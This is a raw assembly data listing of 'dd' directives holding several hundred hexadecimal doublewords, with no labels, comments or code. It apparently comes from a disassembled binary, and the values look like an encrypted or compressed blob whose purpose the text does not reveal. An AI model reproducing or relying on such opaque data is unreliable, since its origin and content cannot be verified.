		dd 6EC8FEFAh, 967E83CBh, 787550h, 0ED65AC4Fh, 7BB4A270h
		dd 0B0A45FEh, 0B68E3C2Dh, 22025304h, 4BB8F3E0h,	0DB1CC4EEh
		dd 663AC0B0h, 137E28A5h, 0AB633322h, 2F8DAA04h,	0F385E2BCh
		dd 89E52057h, 2F95AD9Dh, 0A9D9C5CEh, 3BB78E42h,	905F5Bh
		dd 2A003DA3h, 29CB63CDh, 5F5383h, 8178B3BBh, 0D522E5E3h
		dd 5CBD354Ah, 7B680492h, 7CE3FA47h, 0FCB8105h, 0FFD081E0h
		dd 0B80829D1h, 0CDA200CBh, 9A6D4E6Bh, 0E950B9C2h, 125A1556h
		dd 59E730AEh, 0C34802D3h, 11112B8h, 397638AFh, 0E69A088Ah
		dd 6A259A20h, 14137602h, 0BB81A220h, 6E50D224h,	15AB9903h
		dd 4047E55Fh, 3D70E3BDh, 7F3138A8h, 6B350B8Dh, 6E30AB16h
		dd 2D12EF81h, 90B83945h, 9C5EF34Ah, 80840FE4h, 0B9B5FE3h
		dd 0D322DEC0h, 32029A3Dh, 0B748F0B1h, 4F355D3Ah, 3C8F1691h
		dd 0FA89E884h, 822B2BC9h, 5F09256Ah, 0CC7D1B12h, 0F5E6B58Bh
		dd 188615Fh, 499D122Bh,	8486E218h, 0F7BAD88Ah, 5BDA4F86h
		dd 169DC880h, 2727BF65h, 0EA76405Ah, 29F8A07Fh,	7A4E9733h
		dd 130117A1h, 73A2ED6Ah, 1CDCDD00h, 22B05C1Bh, 106CA500h
		dd 0F99904D4h, 47B705A1h, 8020E5D6h, 1D13F59Dh,	0BFD4B7B7h
		dd 9F84253Fh, 8081EA7Bh, 0DB96D29Eh, 2CAA025Bh,	0EF006ACAh
		dd 0BE804340h, 252C0EA1h, 1BFBC0CBh, 91E6FA92h,	29081B22h
		dd 41207D8Dh, 3431BD0Bh, 7060E61Fh, 71E4F93Ch, 35D70481h
		dd 0B966D6C5h, 0B2F8228Ch, 0DA0B954Bh, 0B43EEC5Fh, 407627ADh
		dd 81E1FA92h, 0A8075933h, 9D7A02h, 61EBE039h, 4FD8C812h
		dd 0A99D04FAh, 92EB2516h, 795C80F6h, 5CBD8762h,	90821194h
		dd 2D1D19E6h, 0DC2FA3F1h, 0FC9FF9E2h, 1E9B419Dh, 2613D8A8h
		dd 5DDB8518h, 752DBB70h, 7020BAF3h, 244584Eh, 0F54B0122h
		dd 0B3C443BCh, 1BB0B9DBh, 4B7D199Dh, 65E8CC12h,	9EDCD700h
		dd 7AF27F79h, 97FF0FEDh, 5C207D11h, 0E9D643AEh,	1BBA2897h
		dd 0C3815600h, 2D739899h, 29D55F08h, 0A975827Dh, 0A2EE7526h
		dd 2ED8B781h, 2922B022h, 0BD253D58h, 3DAFCC9Fh,	7E94CBBFh
		dd 7741BC36h, 26999541h, 87A8282Eh, 85B18047h, 0DEC17A27h
		dd 0F33A0731h, 0CA2D3C97h, 92979BEEh, 0B393198h, 85A922CCh
		dd 0B7B9F982h, 324F854h, 0A2C92502h, 5E908951h,	0D500DE23h
		dd 9A17492Bh, 5F615A4h,	9D095E96h, 0FC25906Dh, 2B25F98Ah
		dd 0F8B7C0h, 0CD715E7h,	0B15A104Fh, 892474E2h, 0B90A16B7h
		dd 6AAAF470h, 0D980016Eh, 570C88E6h, 8B67B83Bh,	4AFA215Bh
		dd 10204BBFh, 5C5E9D91h, 0C7B796DCh, 55D3C01Fh,	4E4E6C75h
		dd 1523DF6Bh, 2BDF5301h, 3825BDh, 0F74AB33Ah, 0A1DA5BC7h
		dd 0CE605F82h, 25217360h, 0E570C5B5h, 827ED053h, 0B7975FEFh
		dd 0FC080118h, 0C77A61EDh, 8ED74E0Ah, 0D109C1E7h, 71B85E22h
		dd 0E9331386h, 8A6B0265h, 0B46A5F79h, 12330C71h, 0AD26C7Ch
		dd 0D29CD12h, 6A5FDFE7h, 3FE41396h, 0AE000AA2h,	745B2D98h
		dd 0B1124B5Ah, 0DD9BE1FFh, 72E63380h, 0B4124DCCh, 3F2C73Ch
		dd 0B051C87h, 0ADAA375Dh, 661A0075h, 2AFD5BFh, 0A2BCDB81h
		dd 105D52E0h, 7F8ECD7h,	0D81747AEh, 552CE024h, 0F41CB377h
		dd 3E70BF2Dh, 975B83B5h, 0E7383394h, 0D8A94F04h, 0CDE8B4BCh
		dd 0AD251490h, 262EE718h, 785E27A4h, 0A6607F4h,	65805F94h
		dd 2033A147h, 749DED1Ah, 0E1F3493Dh, 9892950h, 7F1B1DEEh
		dd 7E00A0F6h, 84D380F9h, 0AB855E0Fh, 9F88D070h,	6A311DBFh
		dd 0AB275680h, 48A8CC8h, 0FC4B5718h, 4E89BC46h,	51E2D4B6h
		dd 0E934895Eh, 691761B9h, 0A0CCE701h, 916A873Ch, 5CA807Fh
		dd 95126246h, 97C652Fh,	893857BCh, 0ECA0CBB7h, 57823061h
		dd 0B529E830h, 1017ED25h, 95F88AC8h, 38A1805Ah,	7546BC8Ch
		dd 51496F1Ch, 0AE815625h, 78DB23CBh, 20B5079h, 820DA492h
		dd 0FA1CD5BDh, 2A6D200Ah, 67B75AC4h, 2291CBABh,	34DE000Dh
		dd 0E9FC2464h, 9203E480h, 5096A0C6h, 9860925Bh,	0FBD3A97h
		dd 2256FB4Dh, 0DF13F3C8h, 0AA5395AEh, 0CCBF34D0h, 30A42136h
		dd 1444A728h, 4EA7000Ch, 0CCB41DF1h, 0CB39D04Fh, 28D68184h
		dd 347129B9h, 0F33F0BFDh, 0A75F3807h, 0C2576D58h, 3CD64DD9h
		dd 7DBD0816h, 35D789C9h, 82161160h, 0D4644A4Eh,	9A4640B0h
		dd 7D001FEDh, 0F8677EE7h, 0A88463h, 0CF4F1179h,	0FFE9144Bh
		dd 0AA7DC69Dh, 0B07B7535h, 6B8CF8h, 0BE1E794Fh,	0A896D37h
		dd 0D370B728h, 2616D49Eh, 0B3D75BAh, 62550950h,	0F632FEE0h
		dd 571C68E2h, 0C783165Bh, 12977028h, 0F20621E0h, 9BB6D6A7h
		dd 2367FFA0h, 0BD298C04h, 89092CADh, 777A7C73h,	0DCBD6DCEh
		dd 13249ABh, 0BF09EC53h, 9DCF78FAh, 600A237h, 70AB3802h
		dd 2BA41630h, 1725EE9Eh, 57E6BBh, 48352AF5h, 95E9C51Dh
		dd 3E964B49h, 8010A322h, 0FAFBB1EEh, 9FE4072Bh,	52D0C23Bh
		dd 150150A2h, 0CD219681h, 9D89986Bh, 25DDF4BDh,	0BAC3D771h
		dd 33430DDAh, 3FCD8B3Bh, 41DE2699h, 6A8C2FEh, 376708FBh
		dd 60414208h, 0F86B5F52h, 2F648057h, 133AC5D4h,	0EBDBC60Fh
		dd 575EF2C0h, 38C80141h, 615B5F51h, 0B8117D58h,	8BE425D7h
		dd 2341A056h, 57E205BDh, 91C0E995h, 1486BFFEh, 0C97768E3h
		dd 0EB80D801h, 0E9BB90E5h, 507FD4F0h, 0C30481EEh, 228EB57Eh
		dd 3C26C8E1h, 73DE2450h
		dd 9DE25861h, 0E77B792Dh, 0D01818D9h, 0A02E481Ch, 0C0D2DEAFh
		dd 0A85FBDBh, 90E8E5B5h, 8C1CFC34h, 7672E000h, 0E4D67487h
		dd 29930B98h, 0C9DA3D85h, 0C4662044h, 0BA1FD486h, 2CBBC5F6h
		dd 0EBC03814h, 4BB59D89h, 6830EA21h, 1B8E5DEh, 613B94B6h
		dd 2B884DF8h, 39B83034h, 0D37D66A2h, 0C07DD217h, 2C13AE23h
		dd 60519823h, 0B5559A1Eh, 4B91BB0Eh, 90DE0E6h, 989BE98h
		dd 0D7DFC1A5h, 194BDFF8h, 1A3472CEh, 77EACC99h,	22AD38h
		dd 0B31CF4D4h, 0FE90230Bh, 0FAAF3FD3h, 950D6E85h, 9F09BFF6h
		dd 99CED532h, 74BF5003h, 0EC7C6E6Ah, 0A2E6F6BAh, 837F901Bh
		dd 0E1BF05CFh, 0F160F9A6h, 68B56FC7h, 0F8DAF27Ah, 727C9DD7h
		dd 9CAF76Bh, 12101156h,	0D0EC962Dh, 2D7B8742h, 347E50F9h
		dd 13F06260h, 0C7FF079Dh, 50A5479Ch, 20175F1Fh,	37696F18h
		dd 830549CEh, 0A6B8B3E2h, 0E3018052h, 9D015B7Ch, 0A77B2131h
		dd 0B14062EBh, 95879413h, 0FAFE0610h, 0B65D5004h, 0DAEB9B27h
		dd 0C91CC8BFh, 1B47C9FFh, 974622DCh, 60604B99h,	5AB8F73Ah
		dd 0F559516h, 0F46A29EFh, 84E79BDh, 0B93634BBh,	9BDA8D3h
		dd 9511FF97h, 33A90B42h, 298D1370h, 0F858E460h,	105288Ah
		dd 0BD084EF9h, 8C15BC92h, 4B90842Eh, 0DB1B950Ah, 73BA1165h
		dd 0FAE43363h, 1C216BF1h, 6FD63C38h, 0ED34008Eh, 0AE4AB809h
		dd 2F1249C1h, 0ECC9BD4Ah, 92170BB1h, 797CA4A7h,	0DDAE5D13h
		dd 6D376089h, 82A7F14Eh, 616AFE5Eh, 5B8BFD4Bh, 0CDA90BB2h
		dd 21302FF5h, 0B893DB80h, 318D272Ch, 9C253EDDh,	0C516D475h
		dd 76A813F5h, 80DFEDD7h, 0BF4BD804h, 0ACDC190Dh, 3B34A660h
		dd 21BCE82h, 0CFE2965Bh, 2862AB40h, 0CF34B13Ch,	0BD928DF9h
		dd 8C15A800h, 0D7E34925h, 572C82B5h, 0A9ECDAE0h, 0E9A22F7Fh
		dd 99E36FFh, 11E9BD33h,	0F5EC55h, 4B8516FDh, 546A8DCAh
		dd 0F8CB8403h, 9025D687h, 9F611CB2h, 1D911A35h,	82097780h
		dd 2C00C99Fh, 38EF120Ch, 0D2718D01h, 801DBC93h,	9532F6A9h
		dd 6F070405h, 0B1ABF236h, 78A96E1Ch, 1AF99D82h,	9742701Eh
		dd 4E0061ECh, 311D1C5Eh, 1ECCB78h, 0C17CFDC8h, 2FB2FA50h
		dd 5DC6B832h, 7409D4Fh,	12692372h, 85385CA3h, 58A2BA71h
		dd 0E91DFFBCh, 5525F209h, 0E900C7B7h, 60BBF471h, 0A5D53980h
		dd 918ED96h, 0E1CDC115h, 1B5AE4C1h, 956D9F20h, 4FD5448Bh
		dd 0E422E6D2h, 1269024Ch, 69E09FEDh, 50160F8Ah,	9B1774B7h
		dd 99E0804Eh, 6065C4ADh, 0EF814275h, 58249F05h,	0F10A4702h
		dd 98265B30h, 40D37D1Ah, 0A02BD1B9h, 4913546Fh,	79124222h
		dd 0CEA6BC11h, 2D1048BDh, 0BC9411D7h, 0E68D18FCh, 0B6E883h
		dd 0CF15AFB4h, 0D8464BB1h, 3B25ED16h, 0A1AD6884h, 4E1FCAB8h
		dd 26C252DEh, 0D5EB16ABh, 0A5806DC6h, 0F52DAD5Dh, 0DE47FC6Ah
		dd 0DB52F00h, 0A2E123EAh, 0EF67163Bh, 1225BA29h, 4813A2ABh
		dd 0E6E2C0BEh, 0E864CE43h, 8FF795EDh, 0A56BE090h, 3D0F671Bh
		dd 0A6DA5B2Dh, 0C5B8F0AEh, 64491F86h, 12E8B11Bh, 0F2312F6Ah
		dd 0ED2A79B3h, 843DA901h, 0B3A0CE8Bh, 0D1FF779Dh, 45CE9497h
		dd 588BD96Ch, 4016C6BCh, 4EE026Ah, 0F2B194Bh, 0A2AA125Bh
		dd 0A6BF02BDh, 0D561BE12h, 7FD2FE7Bh, 73958EE4h, 181B5988h
		dd 0D92D0096h, 0F19DC549h, 0C4EE932h, 5EE23AE8h, 6D7D8842h
		dd 0C48FE53Eh, 236CA4CDh, 304B0DECh, 0E7E8FAFDh, 0BF937C0Bh
		dd 9D92F785h, 5C34C403h, 2E1D6A12h, 4E2C8AEEh, 8E00686Ah
		dd 583DBA3h, 129C0325h,	6D3AB340h, 0A66E00CEh, 0DE39E678h
		dd 0EF02EEABh, 0C619ED44h, 0C740DF3Dh, 6213AEBBh, 43A1342Bh
		dd 0D7270A3Ch, 0D2D53B42h, 37A7207Fh, 4C2410DBh, 0E7C09A0Ch
		dd 0E9F1E276h, 0EADCA31Ch, 21FA5FBAh, 2BF88BABh, 1788DEDBh
		dd 0AA8455C1h, 0E7B6A03Fh, 5D493927h, 0B0AD00B5h, 7F191C5h
		dd 990C497Eh, 42808781h, 0ED5512B0h, 601664FBh,	9DA7D649h
		dd 0D7496274h, 0A9B55EA1h, 0F1E81526h, 0D85C880h, 9212F5BAh
		dd 4EA2A4Dh, 0AF31994Ch, 8912D928h, 6210C3B0h, 0E6023089h
		dd 3DBD2970h, 0E40E0078h, 410BF71h, 44E972DAh, 9BB5F322h
		dd 2536166Ah, 0C8A0EC02h, 14E08711h, 0C44F0063h, 38FA24FFh
		dd 4EAF83Eh, 6B771DB2h,	0BB8060E8h, 3F700E7Ch, 0DAE4EBB0h
		dd 0E1BDE8E6h, 0A782C541h, 12A59D03h, 29E89157h, 3178A42h
		dd 22FFC781h, 0E3551BC3h, 7BDF1D8h, 6460D112h, 0E98011F9h
		dd 0F319978Dh, 85279628h, 0A04A05ECh, 1A5EF16Fh, 0A0F7DF6h
		dd 35A0472Ch, 3E269AC9h, 8229B800h, 2E41457Fh, 0CA2C275Fh
		dd 0D3814F40h, 57405B08h, 1341A84Bh, 0B0C5D4F3h, 0E6953381h
		dd 0DD184EFCh, 8069283Ah, 0F0A41743h, 0E9A51885h, 0C780212Fh
		dd 478C9F4Eh, 5E2A1CBBh, 49422786h, 0B0976F6Ch,	0FE57BB44h
		dd 43741DBh, 32A6AB7Bh,	488F3E10h, 0D68727FBh, 2FAC512Bh
		dd 9000BBB6h, 0C0087352h, 3716A974h, 38A75B6Eh,	8D8008B0h
		dd 3B8EB81Bh, 0A100D5C0h, 38DBB5C6h, 886CB75Fh,	0F0B9D80Eh
		dd 6FEB160Fh, 0E50800A3h, 81304822h, 0F6AF12DFh, 0B453AF11h
		dd 65804ADBh, 2B5A5460h, 9AB08417h, 4F235FFh, 90225C1h
		dd 26478FCh, 5B6339DBh,	5E73C02Bh, 589C8E71h, 98DF6D21h
		dd 0FF935Bh, 849B6E3Dh,	12DBA4A0h, 5EBB416h, 39296402h
		dd 8A4D8CBAh, 5C6C27CBh, 46FE8074h, 78DA0916h, 2901DC2Ah
		dd 55DD80ABh, 1C9FAFDEh, 0B0AC8C07h, 0E0605352h, 1324A1B4h
		dd 0A2BBC41Bh, 22404882h, 4517D07h, 52DA111Bh, 53B3AB5Fh
		dd 0EDC7D098h, 298AB44Eh, 0D388AAD3h, 1ADC04BFh, 0EF333C7Eh
		dd 5A8BC988h, 0E56DE9D9h, 2A8086DAh, 0EECDF718h, 8514D93Bh
		dd 0E985893Eh, 4827E6BAh, 529131Eh, 2BEC70AFh, 144BDD9Dh
		dd 87006EA6h, 926D7638h, 0D83C0ED5h, 0EF840025h, 0FF16DFBAh
		dd 0DC2D94E1h, 21718C2Ch, 0E2E379ADh, 60000468h, 13A77B8h
		dd 0BE663487h, 2F61832Eh, 0B76BC528h, 72D870FBh, 0A77413A6h
		dd 2ADDEEE6h, 5C4082Eh,	0F1D467Eh, 0B7AD1982h, 0EFD3EAB8h
		dd 0BD8B5701h, 60020479h, 0A3758E66h, 7115B100h, 8C09B948h
		dd 879D00EBh, 0E4C2C7E5h, 0BB1666D4h, 0FEB8840Eh, 0E0924E4Ch
		dd 0BD1603A0h, 0EDE80829h, 0DC585789h, 0E95B9925h, 2E160E8Dh
		dd 6E128525h, 257A9864h, 915E2C0Dh, 50715B5Ah, 9028685h
		dd 0F3806003h, 5FE4DD21h, 5E7B7300h, 0D8A1A0A7h, 5B523C7Eh
		dd 38C6612Ah, 97F95690h, 0D02C2E8Fh, 617DC718h,	0F78A0F2Dh
		dd 45285DB8h, 8F034406h, 4FAE5926h, 80E7FC23h, 5BAE1668h
		dd 76BB01C2h, 81454BA6h, 42317104h, 1ADC3DA5h, 0A17D0940h
		dd 1F7C0013h, 79998432h, 0D89DDE70h, 25EF1714h,	2564BAA8h
		dd 0A288E020h, 77DB09Ch, 0ACD17B7Ch, 4BDD2007h,	61258B02h
		dd 6425ED68h, 97F5601Bh, 60A404C7h, 0C113FE9Dh,	0C2022E8Bh
		dd 8028B7FDh, 0BAA568B1h, 0DB1239DDh, 0C0BDC251h, 96D6BB82h
		dd 906B075Eh, 882CC9h, 92A19A02h, 6EA97D41h, 529D232Fh
		dd 3E5E9751h, 5DBD772Dh, 6BE7E004h, 5ED8BBC2h, 1446D60Fh
		dd 1650DF12h, 5060A20Dh, 8949DBCAh, 0F81FE872h,	4417F69h
		dd 8887E4E7h, 42A99977h, 79D525F7h, 94D82DF7h, 15C618E4h
		dd 28F799Dh, 64D0BF61h,	39612795h, 787D100Bh, 0AB680007h
		dd 9B221680h, 9B967958h, 0F69D8C20h, 0FA34449Bh, 222E417Ah
		dd 33F0025Fh, 784060C9h, 3050DCF2h, 0EC95F192h,	0FDB8C4C4h
		dd 0E20FBC13h, 49075E50h
		dd 143A4302h, 0A370137Ch, 0F469001Ah, 45390FD3h, 86392C5Bh
		dd 0AC880082h, 52735C8Ch, 20899704h, 0D4842119h, 7F0B353Bh
		dd 0A99E835Eh, 9A6A5712h, 12D1DB57h, 89F258h, 6D6B1A95h
		dd 0E8E25A75h, 43EF046h, 8DA6BCC4h, 84DFEA85h, 8B8C2980h
		dd 0D89A767Bh, 0BF506A01h, 7D92CCBEh, 0B65B7F68h, 7A3BE146h
		dd 0F28EF728h, 0EA5320A0h, 0A909B049h, 0D70C6B1Bh, 1D91E9B5h
		dd 84E4B281h, 0EEB6D0DBh, 3DB40C09h, 8058B761h,	754D3FE9h
		dd 9624DF3Ah, 0F9A75885h, 0EB251603h, 0B32F2B99h, 118D080Fh
		dd 0F25B122Fh, 20EED27Eh, 499F0262h, 45FD5300h,	118962C7h
		dd 8B1A4B7Fh, 0B733604Ch, 2F78139h, 5695447Bh, 2B8428E9h
		dd 34B84008h, 125C0BAEh, 0BAF078C0h, 95F0163Ah,	0DB9F1B69h
		dd 0F5D8D040h, 58A0A812h, 0B2A0DC2h, 6609AC7Ch,	4E437929h
		dd 0AB1704AEh, 8380859Bh, 829AADFFh, 3DEAD253h,	2F051CC0h
		dd 0D68A940h, 2DBDB55Fh, 5DD6572Eh, 0DA62EE21h,	103D5503h
		dd 846DE800h, 165A8C82h, 0AC3AF073h, 8D02AAD5h,	0D5853149h
		dd 2979C478h, 74195927h, 0B5DF5A39h, 5C5304F8h,	5E14EC08h
		dd 1C46FBDh, 83F2919h, 612F0401h, 0A67E8205h, 5DA55AF1h
		dd 0AAAA166Bh, 5B9F5A25h, 29C2AAC0h, 790E1D54h,	0EE5605BCh
		dd 0FDF9D2B5h, 25C38101h, 2F35D50Fh, 0E2804133h, 526D9028h
		dd 0DD5B4BFCh, 0D09A3E35h, 19E9D780h, 469DC27Ah, 205EB0E3h
		dd 279818F1h, 7FA575B1h, 379A1694h, 6FC48627h, 9CB160C5h
		dd 154E4909h, 0D32136F0h, 3B0FA17Fh, 698A6F9Ch,	62FD1CDDh
		dd 2C725C1Fh, 7C02DE86h, 6B45ADBBh, 0DAE47526h,	0C9259921h
		dd 238024B5h, 14602510h, 0CE360BE3h, 0FC19E141h, 89673062h
		dd 9646F107h, 426095AEh, 3FEE5DB8h, 0CF8BF9A9h,	0B843E9FDh
		dd 17A6EB84h, 836CB9E5h, 856AF9ACh, 0D027996Fh,	205AF270h
		dd 59B1CFB8h, 42ED2A02h, 9C427DB9h, 0D3F61840h,	259B07B1h
		dd 0CEF167CFh, 0EF781BFh, 0A1B9702Ah, 222CD8h, 33D549C9h
		dd 9938C01Ch, 20BB155Bh, 0B0CC67D0h, 7BCDB20Bh,	3B265120h
		dd 4BDA4780h, 5C9D5E31h, 3EDF1200h, 7E7AED37h, 5B611360h
		dd 8549AF5Fh, 0DC0C7696h, 0A9144B5h, 27B5BD29h,	2FFC519Fh
		dd 79799E37h, 42404496h, 0A94DB589h, 0F49B5FAEh, 0F8087BD8h
		dd 7B575A3Fh, 5FC37925h, 0CF8381B7h, 7B8B5C0h, 9D33E5F8h
		dd 0C85B3A4Dh, 6FC6A58Bh, 0DF805704h, 0E8A5FE9h, 22A8510h
		dd 0F8C7B1BFh, 0FC4E571Ch, 1694B595h, 0F168AF39h, 0CCEDB58Bh
		dd 43611AC4h, 992AF46Eh, 10C77727h, 0BF7D5175h,	789F6C46h
		dd 0C44D02A4h, 2E869005h, 0FF272F5Eh, 7AE7A318h, 124BD3FEh
		dd 0E91216CBh, 56C6BCA1h, 267AF09Ah, 0FCD0E1Eh,	21A0B213h
		dd 29BD331Ch, 0EBF3024Ah, 753218F2h, 0B598E964h, 4EE9589Dh
		dd 5FA5CA21h, 0B7566401h, 0C8055F77h, 0A00D5D6h, 8F7BA2A1h
		dd 2F073D2Eh, 0BBD3A997h, 1234EF8h, 175FA65h, 0A529DB80h
		dd 3A477448h, 0C1809BCAh, 355203Dh, 4065B620h, 9D722909h
		dd 85555C9Dh, 0BD22236Ch, 3F16BC03h, 4C809919h,	0D2E2F1EDh
		dd 9512092Bh, 33F21CF5h, 0D6806000h, 6132B542h,	899C9078h
		dd 103D004Fh, 0B72A3Fh,	6636AB86h, 595E5669h, 5DBFC3A0h
		dd 2A1AEDFBh, 610728BEh, 39F719Fh, 5591BF66h, 0C6782075h
		dd 261D9036h, 0C2189F12h, 669F5F52h, 0E96EE500h, 5DDA8B66h
		dd 0B0AF1735h, 4B96EEE7h, 0FFE58C46h, 7C20D14Eh, 1E999D4h
		dd 9A2BB05Bh, 3A5FF5D0h, 9B9796F6h, 4918B09h, 266F0293h
		dd 0F1087996h, 740C371Fh, 0F7900909h, 0AC4CE6B0h, 50019E12h
		dd 9F8043ECh, 42D3994Eh, 0F4B7AA05h, 0F2DB905Fh, 1DD4ABD2h
		dd 1AAC13B9h, 6A16018Ch, 0A4720E4Fh, 11C47FEDh,	2CE9F344h
		dd 76E118BCh, 0CCAB0523h, 0C4000730h, 43E78877h, 0FB3B97D9h
		dd 812F5230h, 215A8961h, 0AEDD730Fh, 0BEDEE5D5h, 39F47A8Ch
		dd 0AA80FADAh, 0A3AD7E6Dh, 0EC77DE80h, 0B077A022h, 0EC294AEEh
		dd 0C781B052h, 0EBE611D2h, 27F1D665h, 351312Bh,	0AF3EC79Dh
		dd 0D6ECA6Ah, 4FB10B00h, 145C9FEFh, 0D446CF0Fh,	0F92B8A80h
		dd 0CD1D9E26h, 0F42656A5h, 29A65102h, 0E6E1D250h, 5A54BF9Ch
		dd 20BA9600h, 525328h, 0B0ADCDA4h, 0C240E88Dh, 8098574Bh
		dd 13408A3Ch, 0B070DFFBh, 58F6FC5Ah, 8AB97B00h,	4634100Ch
		dd 9795B320h, 102629C1h, 950F11BDh, 9DC128D9h, 0E80C2741h
		dd 680E44h, 65C12B2Dh, 0A93A67E0h, 3F3BCD75h, 3C31AEFAh
		dd 55E0710h, 0AF2EE108h, 0E00B7864h, 867D09F9h,	0BF215985h
		dd 89431F54h, 0EE409595h, 3160C82Bh, 0FBF54C9Dh, 0D8758587h
		dd 0D14A4E28h, 0A4FA1E20h, 34DC00F5h, 4F709B2h,	0F2E22692h
		dd 60973B0Bh, 0B746F5F9h, 95E95B15h, 0C0DF254Ch, 247559Fh
		dd 0EE64BB49h, 865C51C0h, 4D000635h, 0E85ADCE3h, 7B24974Dh
		dd 0C97AFD1Ch, 0FCEC7D07h, 0BFCE4C00h, 0E9E83E56h, 6F6CB55Ah
		dd 8E6879BDh, 0AE322D9Dh, 8101908Bh, 46FD25F3h,	3D635Dh
		dd 0B8035FEBh, 4C579B4h, 0AAC8134Dh, 8797B95Bh,	0EF71F781h
		dd 78BC2FCFh, 7702B5D1h, 0E8027D52h, 81071CC1h,	0CE4EFD50h
		dd 0ED614A46h, 9F2EC228h, 78265B21h, 73001CB4h,	3C6BEB92h
		dd 0BD28C0ACh, 12A0F56Eh, 194B15BDh, 0D653DEAFh, 0F401C7B8h
		dd 7FB5B131h, 179A2EDEh, 0A5C015C8h, 9462B92Fh,	0B01163Eh
		dd 9DC91A26h, 0B9AC14E1h, 8007DB5Eh, 5F8C9D4Eh,	0C88717FAh
		dd 7214880Eh, 910A2503h, 0F28B4B24h, 0E23CC052h, 9CA455BCh
		dd 8028E82Eh, 0ACA04BBh, 0D22B0137h, 76F62EBFh,	76F73A05h
		dd 353017F2h, 3DC52529h, 0B9FCC258h, 704C7395h,	0A709D2E6h
		dd 76AE6964h, 0B72942FBh, 961C5256h, 51FC2CC0h,	5814BFDh
		dd 0D277BCEBh, 7FF2BA1Ah, 0BFDD1D44h, 0F997DC1Ch, 0CAB78509h
		dd 0D76BAF5Fh, 6011823h, 0FBDE4950h, 0B5B7A67Bh, 0B0AEFD8h
		dd 0A825C8C4h, 14417D70h, 0BA450C97h, 5159AD3Eh, 5404A6ACh
		dd 0F8D355F0h, 8A4B25B3h, 0F98F2115h, 9991819h,	3B8FCE5Ch
		dd 91CE82DDh, 0D5DBD51Ah, 2F4EF55Ah, 4865EC4Ch,	4CEF4B53h
		dd 615FCDCBh, 64444D97h, 0FE716017h, 87954F9Fh,	0FF3371C6h
		dd 31B82EE1h, 0B6D5D3C0h, 94975DE2h, 2089452Ah,	5C8A59B7h
		dd 14915125h, 4DB203B8h, 60B84FF7h, 0BEC0F29Dh,	0ECF7E106h
		dd 448A7654h, 0BCAD604Dh, 58F69EE2h, 0FE8995F3h, 6970FD53h
		dd 511B5CDEh, 0B712EB4Fh, 9A391CE1h, 30AA2BB9h,	9185897Fh
		dd 0F512F0B6h, 8A3F3FF4h, 3E4D79h, 0DDCD5499h, 9F5F7762h
		dd 12FED874h, 4BD1595h,	90F0944h, 0D14DF7F8h, 100E1747h
		dd 0EBCBB580h, 204BF62h, 90209576h, 2A0F89FBh, 342CEAB5h
		dd 6B5FF1D3h, 1664AAF3h, 6A88DC90h, 0BCB990D1h,	0CDF90E3Dh
		dd 0DC67EDB0h, 0CF987B8Bh, 0DAFA4454h, 3DAE4E00h, 0EE194587h
		dd 281309ADh, 730423ECh, 0BA1006h, 381568DAh, 958A4B62h
		dd 0EA07DE74h, 429B7D3Bh, 436D5574h, 0FF641D64h, 0F29727F2h
		dd 49F4000Fh, 8A1347EAh, 3FD2002Eh, 0B086FAFCh,	0B904852Ch
		dd 0CB5DAFACh, 0C0BBCA2h, 8F81818Ah, 0DAF10A85h, 9652D95Dh
		dd 2B509F9h, 3310090h, 0DC785CBDh, 0BDC6BD9Eh, 2952668h
		dd 2B77497Ah, 0C0B5D76Fh, 295E30A5h, 0DB96020Dh, 0C5B7A334h
		dd 50BA45F7h, 3B00352Fh, 5D7E9DE0h, 90A795C4h, 0F3D495C7h
		dd 98B4DE9h, 0BF7B31D5h, 7D63AACh, 0D2E9FB1h, 0ECBF40D5h
		dd 3D5E94E0h, 1F16FAEh
		dd 0D6F655E5h, 2A2CACC6h, 0E9445A72h, 0AC16AC66h, 0B3D70199h
		dd 61BD33D4h, 0DD242F1Bh, 0C289F8BAh, 22A6D8Dh,	0D3556096h
		dd 0F08B0139h, 0CFCC8A61h, 96FC42EFh, 80BF73B5h, 0F4CAA0AAh
		dd 25BF667Ah, 0C5E2723Ch, 4EEEDFh, 0FC2B52F8h, 8FCD68A6h
		dd 53453413h, 5BF68CFFh, 32F024E3h, 452B8C16h, 6BE054A6h
		dd 9300CCB8h, 0BC8FF90Fh, 1350DF8Bh, 0E08DB501h, 4CB75B4Ch
		dd 15BD117Ch, 32BE5A31h, 5278E21Ch, 90B244B5h, 9C549D35h
		dd 0B6855ADEh, 0AA124EA3h, 5627BAFh, 0D72E153h,	233A7BBAh
		dd 864F0018h, 0FC3EB2F3h, 50651497h, 31D95E12h,	310F26E9h
		dd 0BB654095h, 0B52570D4h, 5C4BE73Bh, 9D89F505h, 7AEB264Dh
		dd 0ED1B122Ah, 3B873EF2h, 0B7F50904h, 8C838049h, 3C6822C5h
		dd 0F8893B14h, 510AB2C7h, 0A0611D23h, 0AB950198h, 0D86FDFE5h
		dd 922A6BE3h, 670A5E5Dh, 14DD6289h, 0C0DC95D7h,	6CCEBB2Ch
		dd 0CCE27304h, 72B0ABDDh, 13B89712h, 6F1FEB81h,	5CAD3CBEh
		dd 0EF1CBD09h, 1E408AECh, 3B094B77h, 0DC568562h, 1A7157A3h
		dd 1E647E19h, 5D941BACh, 6570A600h, 8C425529h, 0D78B9A25h
		dd 0CD95C4EEh, 61166446h, 812EF44Dh, 2293972h, 0F509C151h
		dd 0BA4B6F2Ch, 7BEE0012h, 92953FA2h, 9AAEDE8Bh,	0E66097CCh
		dd 1BAD141h, 0C62632A1h, 3E2933FCh, 854BC5ADh, 744B313h
		dd 1B7A38CBh, 9FB3F0C0h, 48FEBF30h, 0F1BED9C4h,	0E122E3Eh
		dd 0DD009C6Fh, 6628C46Ah, 7DE0D381h, 0D4DA7495h, 8E11770h
		dd 48B413B9h, 2E7CA1E2h, 6EAF0A74h, 0F9808D0h, 5995618Fh
		dd 4A63B16h, 953017F2h,	0E670264h, 0F5DB509h, 7F5A125Eh
		dd 35894835h, 584A02DAh, 615441A1h, 0B396F750h,	6650077Fh
		dd 8926D0BBh, 0FE710353h, 6AFA06Ah, 8C385882h, 49DABC87h
		dd 2CECF17Dh, 40482C92h, 7CC674BBh, 5E5F1E2Fh, 1956D6FEh
		dd 92502A4h, 4811C860h,	4BA4E328h, 3816CAADh, 89E74B7Bh
		dd 43E152A0h, 7559F309h, 490955AEh, 7640D076h, 9FD24Eh
		dd 42F86019h, 0F6636211h, 66E30400h, 3D8D89BCh,	0BF508029h
		dd 0FA8E020Fh, 56348903h, 3800DE7Ah, 4D2208F5h,	4CD835BAh
		dd 0B84BB8B2h, 8931CB0Ch, 552AC2BAh, 4B50DAE5h,	4FD30234h
